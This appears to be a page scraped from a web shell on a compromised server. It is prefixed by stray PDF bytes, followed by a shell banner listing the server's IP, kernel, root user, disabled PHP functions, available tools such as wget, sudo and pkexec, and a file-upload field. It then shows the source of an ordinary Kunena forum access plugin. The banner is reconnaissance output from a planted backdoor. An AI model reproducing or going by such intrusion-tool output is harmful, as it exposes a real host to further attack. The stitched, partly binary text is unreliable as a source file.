%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/var/www/html/old/plugins/kunena/community/ |
Upload File : |
<?php
/**
* Kunena Plugin
* @package Kunena.Plugins
* @subpackage Community
*
* @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* @link http://www.kunena.org
**/
defined ( '_JEXEC' ) or die ();
class KunenaAccessCommunity {
protected $categories = false;
protected $groups = false;
protected $tree = array();
protected $params = null;
public function __construct($params) {
$this->params = $params;
}
/**
* Get list of supported access types.
*
* List all access types you want to handle. All names must be less than 20 characters.
* Examples: joomla.level, mycomponent.groups, mycomponent.vipusers
*
* @return array Supported access types.
*/
public function getAccessTypes() {
static $accesstypes = array('jomsocial');
return $accesstypes;
}
/**
* Get group name in selected access type.
*
* @param string $accesstype Access type.
* @param int $id Group id.
* @return string|null
*/
public function getGroupName($accesstype, $id=null) {
if ($accesstype == 'jomsocial') {
$this->loadGroups();
if ($id !== null) {
return isset($this->groups[$id]) ? $this->groups[$id]->name : '';
}
return $this->groups;
}
return null;
}
/**
* Get HTML list of the available groups
*
* @param string $accesstype Access type.
* @param int $category Group id.
* @return array
*/
public function getAccessOptions($accesstype, $category) {
$html = array();
if (!$accesstype || $accesstype == 'jomsocial') {
$this->loadCategories();
$this->loadGroups();
$options = array();
$selected = 'jomsocial' == $category->accesstype && isset($this->groups[$category->access]) ? $category->access : null;
foreach ($this->tree as $item) {
if (!$selected && is_numeric($item->id)) $selected = $item->id;
$options[] = JHtml::_ ( 'select.option', $item->id, str_repeat('- ', $item->level).$item->name, 'value', 'text', !is_numeric($item->id));
}
$html ['jomsocial']['access'] = array(
'title' => JText::_('PLG_KUNENA_COMMUNITY_ACCESS_GROUP_TITLE'),
'desc' => JText::_('PLG_KUNENA_COMMUNITY_ACCESS_GROUP_DESC'),
'input' => JHtml::_ ( 'select.genericlist', $options, 'access-jomsocial', 'class="inputbox" size="10"', 'value', 'text', $selected )
);
}
return $html;
}
/**
* Load moderators and administrators for listed categories.
*
* This function is used to add category administrators and moderators to listed categories. In addition
* integration can also add global administrators (catid=0).
*
* Results may be cached.
*
* @param array $categories List of categories, null = all.
*
* @return array(array('user_id'=>u, 'category_id'=>c, 'role'=>r))
*/
public function loadCategoryRoles(array $categories = null) {
$db = JFactory::getDBO ();
$query = "SELECT g.memberid AS user_id, c.id AS category_id, ".KunenaForum::ADMINISTRATOR." AS role
FROM #__kunena_categories AS c
INNER JOIN #__community_groups_members AS g ON c.accesstype='jomsocial' AND c.access=g.groupid
WHERE c.published=1 AND g.approved=1 AND g.permissions={$db->Quote( COMMUNITY_GROUP_ADMIN )}";
$db->setQuery( $query );
$list = (array) $db->loadObjectList ();
KunenaError::checkDatabaseError ();
return $list;
}
/**
* Authorise list of categories.
*
* Function accepts array of id indexed KunenaForumCategory objects and removes unauthorised
* categories from the list.
*
* Results for the current user are saved into session.
*
* @param int $userid User who needs the authorisation (null=current user, 0=visitor).
* @param array $categories List of categories in access type.
*
* @return array, where category ids are in the keys.
*/
public function authoriseCategories($userid, array &$categories) {
$allowed = array();
if (KunenaFactory::getUser($userid)->exists()) {
$db = JFactory::getDBO();
$query = "SELECT c.id FROM #__kunena_categories AS c
INNER JOIN #__community_groups_members AS g ON c.accesstype='jomsocial' AND c.access=g.groupid
WHERE c.published=1 AND g.approved=1 AND g.memberid={$db->quote($userid)}";
$db->setQuery( $query );
$list = (array) $db->loadColumn ();
KunenaError::checkDatabaseError ();
foreach ( $list as $catid ) {
$allowed [$catid] = $catid;
}
}
return $allowed;
}
/**
* Authorise list of userids to topic or category.
*
* @param mixed $topic Category or topic.
* @param array $userids list(allow, deny).
* @return array
*/
public function authoriseUsers(KunenaDatabaseObject $topic, array &$userids) {
if (empty($userids)) {
return array (array(), array());
}
$category = $topic->getCategory();
$userlist = implode(',', $userids);
$db = JFactory::getDBO ();
$query = "SELECT c.id FROM #__kunena_categories AS c
INNER JOIN #__community_groups_members AS g ON c.accesstype='jomsocial' AND c.access=g.groupid
WHERE c.id={$category->id} AND g.approved=1 AND g.memberid IN ({$userlist})";
$db->setQuery( $query );
$allow = (array) $db->loadColumn ();
$deny = array();
KunenaError::checkDatabaseError ();
return array($allow, $deny);
}
protected function loadCategories() {
if ($this->categories === false) {
$db = JFactory::getDBO ();
$query = "SELECT CONCAT('c', id) AS id, CONCAT('c', parent) AS parent_id, name
FROM #__community_groups_category
ORDER BY parent, name";
$db->setQuery( $query );
$this->categories = (array) $db->loadObjectList ('id');
KunenaError::checkDatabaseError ();
$this->tree = new KunenaTree($this->categories);
if ($this->groups !== false) $this->tree->add($this->groups);
}
}
protected function loadGroups() {
if ($this->groups === false) {
$db = JFactory::getDBO ();
$query = "SELECT id, CONCAT('c', categoryid) AS parent_id, name
FROM #__community_groups
ORDER BY categoryid, name";
$db->setQuery( $query );
$this->groups = (array) $db->loadObjectList ('id');
KunenaError::checkDatabaseError ();
if ($this->categories !== false) $this->tree->add($this->groups);
}
}
}